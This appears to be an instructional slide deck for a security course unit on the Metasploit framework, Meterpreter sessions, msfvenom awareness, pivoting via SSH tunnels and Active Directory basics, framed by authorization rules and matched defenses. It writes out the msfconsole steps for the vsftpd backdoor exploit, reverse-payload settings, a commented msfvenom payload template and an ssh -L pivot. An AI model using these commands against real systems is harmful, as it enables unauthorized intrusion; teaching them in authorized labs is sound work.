

Unit 16

Metasploit & Pivoting Concepts

Module 4 — Post-Exploitation · Week 16

The most famous tool in offensive security — and a warning that comes with it.

Where we are

- **Last unit:** you escalated to root **by hand** — you understood every step.
- **This unit:** you meet **Metasploit**, a framework that bundles thousands of exploits behind one console.
- It can feel like magic: type a few commands, get a shell.
- The headline lesson is a warning as much as a skill: **don't become "just a tool runner."**

Pros use Metasploit *and* know what it's doing underneath, so they can adapt when the easy button fails.

What you'll be able to do

By the end of this unit you can:

- Explain what the **Metasploit Framework** is and **why** frameworks exist.
- Navigate `msfconsole`: **search → use → show options → set → exploit**.
- Tell apart the four module types: **exploit, payload, auxiliary, post**.
- Get a **Meterpreter session** on an authorized target and run basic post-exploitation.
- Explain (awareness) what **msfvenom** does.

What you'll be able to do (cont.)

- Justify why pros also work **manually** — and what's lost being "just a tool runner."
- Explain **pivoting, port forwarding, and SSH tunneling** — and demo a simple `ssh -L`.
- Describe at an awareness level what **Active Directory** is (deep AD is out of scope).
- Recommend defenses: **detection/logging, EDR, segmentation, patching.**
- Document a session and **explain pivoting in your own words.**

Vocabulary — the framework

Term	Meaning
Framework	A toolkit bundling many ready-made tools + a common way to use them.
Metasploit	The most popular offensive framework; exploits, payloads, post tools.
<code>msfconsole</code>	The main command-line interface for driving Metasploit.
Module	A single tool inside Metasploit (an exploit, a payload, etc.).
Session	An active connection to a machine you've compromised.

Vocabulary — module types

Term	Meaning
Exploit	Code that takes advantage of a vulnerability to get access.
Payload	The code that runs <i>after</i> an exploit — e.g., opens a shell back.
Auxiliary	A helper that isn't an exploit — scanners, fuzzers, login checkers.
Post	A tool you run <i>after</i> you have a session (gather info, escalate).
Meterpreter	A powerful in-memory payload with rich post-exploitation commands.

Vocabulary — workflow & networking

Term	Meaning
RHOSTS	The remote target address (the machine you attack).
LHOST	Your local listener address (where a shell connects back).
msfvenom	Generates standalone payload files (awareness only here).
Pivoting	Using a compromised machine as a stepping stone to reach others.
Port forwarding	Redirecting traffic so you can reach something otherwise blocked.
SSH tunnel	Using an encrypted SSH connection to carry other traffic.
Active Directory	Microsoft's system for centrally managing Windows computers & users.

Ethics & Authorization

The framework does not ask if you have permission. **You** do.

The rule gets *more* important here

- Metasploit lowers the skill needed to attack a machine to a few typed commands.
- That is **exactly why** the authorization rule matters more, not less.
- The same `msfconsole` on an authorized TryHackMe box would be a **felony** against a stranger's server.
- **msfvenom** payloads and **pivoting** turn a small incident into a full network compromise.

Everything this unit stays inside the **isolated / authorized lab**. No exceptions.

Why we learn it deeply

- The professional reason we don't just click the button:
- **Defenders need to know exactly what Metasploit looks like** — on the wire and on a host — to **detect** and **stop** it.
- Understanding the attack is how you build the defense.

Discussion: "Metasploit does everything — why learn exploits by hand?" Give two situations where the tool-runner approach fails.

How this unit connects

- Unit 14–15: you found bugs and escalated **by hand**.
- This unit: you see the same ideas **packaged** into a framework.
- Same concepts — recon, exploit, payload, post — just faster to run.

The tool is new. The thinking underneath is everything you already learned.

A word about the demos

- Every command in this deck is run on an **authorized lab box**.
- Target IPs and module names come from **the room your instructor assigns**.
- Placeholders like `<target-ip>` mean "fill in from your room."

If a slide shows a command, picture it running against the THM target — nowhere else.

Day 1

What Metasploit Is & the msfconsole Workflow

Warm-up

Imagine a giant toolbox where every tool already fits together and shares settings.

- What are the **upsides**?
- What's the **hidden downside**?

What is a framework?

- A **framework** bundles many ready-made tools with a **common way to use them**.
- You don't rebuild each tool from scratch — you reuse and standardize.
- **Metasploit** is the most popular offensive-security framework.
- It collects **exploits, payloads, and post-exploitation tools** under one console.

Analogy: a kitchen where every appliance shares the same plug and the same controls.

Why do frameworks exist?

- **Reuse:** thousands of exploits already written, tested, and maintained.
- **Standardization:** the same workflow works for every module.
- **Speed:** configure a few options instead of writing networking code.
- **Collaboration:** the community contributes and updates modules.

The trade-off: it's easy to *run* and easy to stop *understanding*.

Analogy — the universal remote

- A pile of separate remotes = writing each exploit from scratch.
- Metasploit is the **universal remote**: one set of buttons for everything.
- Convenient — but you can forget how any single device actually works.

The danger isn't the remote. It's never learning what the buttons do.

Check your understanding

Your friend says: *"A framework is just one really big exploit."*

Is that right? Why or why not?

Answer

- **No** — a framework is a **toolkit** of many modules plus a shared workflow.
- One big exploit only attacks **one** vulnerability.
- A framework bundles **thousands** of exploits, payloads, and helpers.

Framework = the whole toolbox. Exploit = one tool inside it.

The core msfconsole workflow

Five steps, always in this order:

Step	Command	What it does
1	<code>search</code>	Find a module
2	<code>use</code>	Select that module
3	<code>show options</code>	See its settings
4	<code>set</code>	Configure settings (RHOSTS, LHOST...)
5	<code>exploit</code> / <code>run</code>	Launch it

RHOSTS vs LHOST — don't mix these up

- **RHOSTS** = the **R**emote target. The machine you are attacking.
- **LHOST** = your **L**ocal listener. Where a shell connects **back** to you.

```
You (LHOST) <---- shell comes back ---- Target (RHOSTS)
```

The #1 reason a session "won't connect" is a swapped or wrong **LHOST**.

Worked example — searching

```
msfconsole          # launch (first start can take a minute)
search vsftpd       # find modules matching a keyword
```

- `search` accepts a service name, software name, or CVE.
- It returns a **numbered list** of matching modules.

Read the result, then pick the **full module path** you want.

Worked example — selecting & reading

```
use exploit/unix/ftp/vsftpd_234_backdoor
show options                # see what needs to be set
```

- The prompt changes to show the selected module.
- `show options` lists settings; **required** ones are marked `yes`.

You'll almost always need to set **RHOSTS**. Day 1: we only read, not run.

Reading show options

Column	What it tells you
Name	The setting (e.g., RHOSTS, LHOST)
Current Setting	Its value now (blank = not set)
Required	yes means it must be filled in
Description	A short note on what it does

Scan the **Required = yes** rows first — those are what you must set.

Guided practice (Day 1)

Together, in `msfconsole`:

1. `search` for a sample module.
2. `use` it.
3. `show options` and read what **each** option means.
4. Do **not** run it yet.

In your journal, write the **five workflow commands in order** and what each does.

Exit ticket: Put the workflow in order, and say what `RHOSTS` and `LHOST` mean.

Day 2

Module Types & Getting a Meterpreter Session

Warm-up

An *exploit* gets you in the door.

What runs **after** you're inside?

The four module types

Type	What it is	Example
Exploit	Takes advantage of a vulnerability to get in	A backdoor in a vulnerable FTP server
Payload	Code that runs after the exploit succeeds	A Meterpreter reverse shell
Auxiliary	Helpers that aren't exploits	Port scanner, login brute-forcer
Post	Run after you have a session	Gather system info, hashes, escalate

Exploit = **gets you in**. Payload = **what runs once you're in**.

Check your understanding

Match the job to the module type:

a port scanner · code that opens a shell · a bug that gets you in · gather info after access

Answer

- A port scanner → **Auxiliary**
- Code that opens a shell → **Payload**
- A bug that gets you in → **Exploit**
- Gather info after access → **Post**

Exploit gets you in; payload runs once in; auxiliary helps; post comes after.

What is Meterpreter?

- A powerful **payload** that gives a rich, in-memory post-exploitation shell.
- Runs in memory — harder to spot than dropping a file on disk.
- Gives you commands like `sysinfo`, `getuid`, file browsing, screenshots.
- When it connects, you get a **session**.

Meterpreter is a *payload*, not a tool you "launch" on its own.

Bind vs reverse — the connection direction

- **Reverse shell:** the target connects **back to you** (uses LHOST).
- **Bind shell:** you connect **into** a port the target opened.
- Reverse is common because firewalls often block **incoming** connections.

Most lab payloads are `reverse_tcp` — that's why LHOST matters so much.

Putting it together — set up

```
use exploit/<path>
set PAYLOAD <meterpreter-payload> # the room tells you which
set RHOSTS <target-ip>             # the TARGET
set LHOST <your-ip>                 # YOU (shell connects back)
```

- Set the **payload** first, then the addresses.
- `set` doesn't run anything — it only fills in values.

Tip: re-run `show options` after setting, before you launch.

Putting it together — launch

```
show options      # double-check nothing required is blank
exploit
```

- Success looks like: `Meterpreter session 1 opened`.
- If it fails: recheck **LHOST**, the **payload**, and that the target is up.

Finding your LHOST

```
ip addr          # look for the tun0 / room VPN interface
```

- Use the IP on the interface the **target can reach back to** (often `tun0`).
- A wrong LHOST = the shell connects "back" to nowhere.

The #1 fix for "my session never opened" is correcting LHOST.

Guided + independent practice (Day 2)

- As a class, walk the room's exploit end to end.
- **Read the Safety & authorization reminder aloud first.**
- Students then run the room to get **their own Meterpreter session.**
- Record each command and the session opening in the journal.

Exit ticket: Name the four module types and give one example of each.

Day 3

Post-Exploitation, msfvenom Awareness & Why Work Manually

Warm-up

You've got a Meterpreter session.

What's the **first thing** you want to know about the machine?

Basic Meterpreter commands

```
sysinfo      # OS, hostname, architecture
getuid       # which account you're running as
help         # see all available commands
```

- `sysinfo` + `getuid` are your **proof of a working session** — record them.

Think of it as: "What am I standing on, and who am I?"

Moving around in Meterpreter

```
pwd          # where am I in the file system
ls           # list files here
cd /tmp      # change directory
download <f> # pull a file back to your machine
```

- Meterpreter feels like a shell, but it's a **rich payload** with extra commands.
- Only touch files the room intends — don't alter the box beyond scope.

Same idea as a normal shell, with post-exploitation superpowers.

Why "in memory" matters

- Meterpreter runs **inside a process in RAM**, not as a file on disk.
- No file on disk = fewer artifacts for simple antivirus to scan.
- But behavior still shows up — which is exactly what **EDR** watches.

Stealthier than a dropped file, not invisible. Defenders adapt too.

Running a post module

```
background                # back to msf prompt; note the session number
search post <topic>        # e.g., a basic enumeration module
use <post/module/path>
set SESSION 1              # the session number from "background"
run
```

- A **post** module gathers and prints info from the target.
- Only run modules the room intends — don't alter the box beyond scope.

Check your understanding

You run a post module and get: *"SESSION is required but not set."*

What did you forget to do?

Answer

- You forgot to `background` first (or didn't note the session number).
- A post module needs a **session to act on** — point it with `set SESSION <n>`.

```
background      # note "session 1"  
set SESSION 1   # tell the post module which session to use
```

Post modules run *through* a session — they need one to target.

msfvenom — awareness only

- **msfvenom** *generates* standalone payload files (an `.exe`, `.elf`, a script).
- When run on a victim, that file connects back to a listener.

```
# AWARENESS / read-only – do NOT build or deploy anything outside the lab.  
# msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <file>
```

- **In your journal:** one sentence on what it makes, one on why a defender cares.

Why defenders care about msfvenom

- EDR and antivirus are **built to recognize** exactly these artifacts and behaviors.
- Known payloads have known signatures and known network patterns.
- This is why real attackers modify or obfuscate — and why "off-the-shelf" rarely works against good defenders.

The same knowledge that builds a payload is what builds the detection rule.

The headline lesson: don't be "just a tool runner"

A **tool runner** can click the button but can't explain or adapt when it fails.

Where the tool-runner approach breaks:

- The target **isn't vulnerable** to any Metasploit module — you must adapt by hand.
- The payload gets **caught by EDR** — you need to understand and change the approach.
- A confusing **error** — you can't troubleshoot what you don't understand.
- You can't **explain the finding** to a client or fix it as a defender.

What understanding manually gives you

- **Adapt** when tools fail or don't fit.
- **Troubleshoot** confusing errors.
- **Explain** risk clearly in a report.
- **Defend** better — you know what the attack actually looks like.

A pro uses Metasploit *and* knows the manual version underneath.

A quick story

- A tester runs the module. It says "exploit completed, but no session."
- A tool-runner is stuck.
- Someone who **understands** checks: wrong LHOST? payload caught by EDR? service version off?

The tool gave up. The understanding kept going.

Check your understanding

Name one moment from the last few slides where **only the manual knowledge** saves the test.

Answer (any one)

- The target isn't vulnerable to **any** module — adapt by hand.
- The payload gets **caught by EDR** — change the approach.
- A **confusing error** — troubleshoot what you understand.
- A client asks "**what does this mean?**" — explain it clearly.

Different situations, same lesson: understanding outlasts the button.

Exit ticket: Give one situation where relying only on Metasploit fails, and what manual knowledge saves you.

Day 4

Pivoting, Port Forwarding & SSH Tunneling

Warm-up

You compromised a public web server, but the juicy database is on a **hidden internal network** you can't reach directly.

Now what?

What is pivoting?

- **Pivoting** = using a machine you've already compromised as a **stepping stone** to reach machines you couldn't reach directly.
- One foothold becomes a doorway into a whole hidden network.

```
You    --->  Foothold box (public)  --->  Hidden internal box  
          (compromised)              (unreachable from outside)
```

This is how a single foothold turns into a full network breach.

Why you can't reach it directly

- The internal box has **no public address** — the internet can't route to it.
- A firewall only allows traffic to the **public** foothold box.
- So you must **go through** the foothold to talk to the hidden box.

Pivoting exists because internal networks are deliberately walled off.

Port forwarding & SSH tunneling

- **Port forwarding** = redirecting traffic from one port/host to another to reach a blocked service.
- **SSH tunnel** = using an encrypted SSH connection to **carry other traffic** inside it.
- **Local port forward** (`ssh -L`) = maps a port on *your* machine to a remote service *through* the SSH server.

The SSH server becomes the stepping stone — that's pivoting made concrete.

The pizza-delivery analogy

- The gated neighborhood (internal network) won't let outsiders drive in.
- But your friend inside (the foothold) **can** drive to any house.
- You hand your order to the friend; they deliver and bring the result back.

The tunnel is your friend carrying traffic past the gate.

Demo — simple SSH local port-forward

```
# Forward your local port 8000 to an internal service (port 80)
# that the SSH host can reach but you can't:
ssh -L 8000:<internal-host-or-localhost>:80 user@<ssh-server-in-lab>

# In another terminal / browser on your machine:
curl http://localhost:8000
```

- Visiting `localhost:8000` now reaches the internal service **through** the SSH server.
- Sketch the path: **you** → **SSH server** → **internal service**.

Independent practice (Day 4)

- Write, **in your own words**, what pivoting is and why **both** attackers and defenders care.
- Sketch the pivot diagram in your journal.

Exit ticket: Explain pivoting to a friend who's never heard the term, in two sentences.

Day 5

Active Directory Awareness, the Defense & Wrap-Up

Warm-up

How does a company manage **5,000 Windows computers and accounts** without setting up each one by hand?

Active Directory — awareness level

- **Active Directory (AD)** = Microsoft's system for **centrally managing** Windows computers, users, and permissions.
- The **Domain Controller** is the central server that runs AD for a network.
- Enterprises use it so one change applies everywhere (password policy, access, software).

Deep AD attacks are a whole field of their own — **out of scope** for this course.
Today is awareness only.

Why AD is a high-value target

- One central system controls **everything** — compromise it, and you may own the whole network.
- That's *why* defenders watch it so closely, and why it's a specialty area beyond this class.

Concept only — no attack steps. File it away as "the next big thing to learn."

Check your understanding

Why is a Domain Controller such a tempting target for an attacker?

Answer

- The Domain Controller runs **Active Directory** for the network.
- It controls **users, computers, and permissions** centrally.
- Owning it can mean owning the **whole** Windows network.

Central control is convenient — and a single juicy target.

Pairing attacks with defenses

Attack capability	Defense	What it stops
Exploit needs an unpatched bug	Patching	Removes the vulnerability
Meterpreter in memory on a host	EDR	Flags malicious behavior
Attacker pivots across the network	Segmentation	Limits how far they spread
Attack leaves traces	Detection / logging	Someone actually notices

Defense in plain language

- **Patching:** install updates → the exploit module has nothing to grab.
- **EDR:** endpoint software watches for Meterpreter-style behavior → catches the session.
- **Segmentation:** split the network into zones → a breach in one can't spread.
- **Detection/logging:** the attack leaves log entries and signatures → only useful if **someone is watching**.

Every capability we showed has a matching defense. Always close the loop.

Independent lab (Day 5)

- Finish the Metasploit room.
- Complete your **session journal**: workflow, RHOSTS/LHOST, `sysinfo` + `getuid`, one post module.
- Write your **pivoting explanation** in your own words + path sketch.
- Add the **defense** for the exploit you used.

Exit ticket: "The most important reason not to be 'just a tool runner' is ____."

Lab deliverables recap

- Completed **Metasploit session journal** (workflow + RHOSTS/LHOST + session proof + one post module).
- One awareness sentence each on **msfvenom** (what it makes / why defenders care).
- **Pivoting explanation** (5–6 sentences) + pivot path sketch.
- One-line **defense** for the exploit you used.

Aim Metasploit only at the authorized target. Authorization and scope = the line.

Common mistakes to avoid

- **Swapping RHOSTS and LHOST** (R = remote/them, L = local/me).
- Choosing a **payload that doesn't match** the target OS/architecture.
- Forgetting to `background` before a post module / not setting `SESSION`.
- Treating Metasploit as the **whole skill** — always know the manual version.

Unit recap

- Metasploit is a **framework**: exploits, payloads, auxiliary, post.
- Workflow: **search → use → show options → set → exploit**.
- **RHOSTS = target, LHOST = you**.
- **Meterpreter** = a powerful payload that opens a session.
- **Pivoting** turns one foothold into a network breach.
- Defenses: **patch, EDR, segment, detect**.
- **Don't be just a tool runner**.

Exit Discussion

A new student says: *"Metasploit does everything — why do I need to understand exploits, networking, or privesc by hand?"*

Give **two** concrete situations where the tool-runner approach fails, and explain how the manual version makes you both a better **attacker** (on authorized tests) and a better **defender**.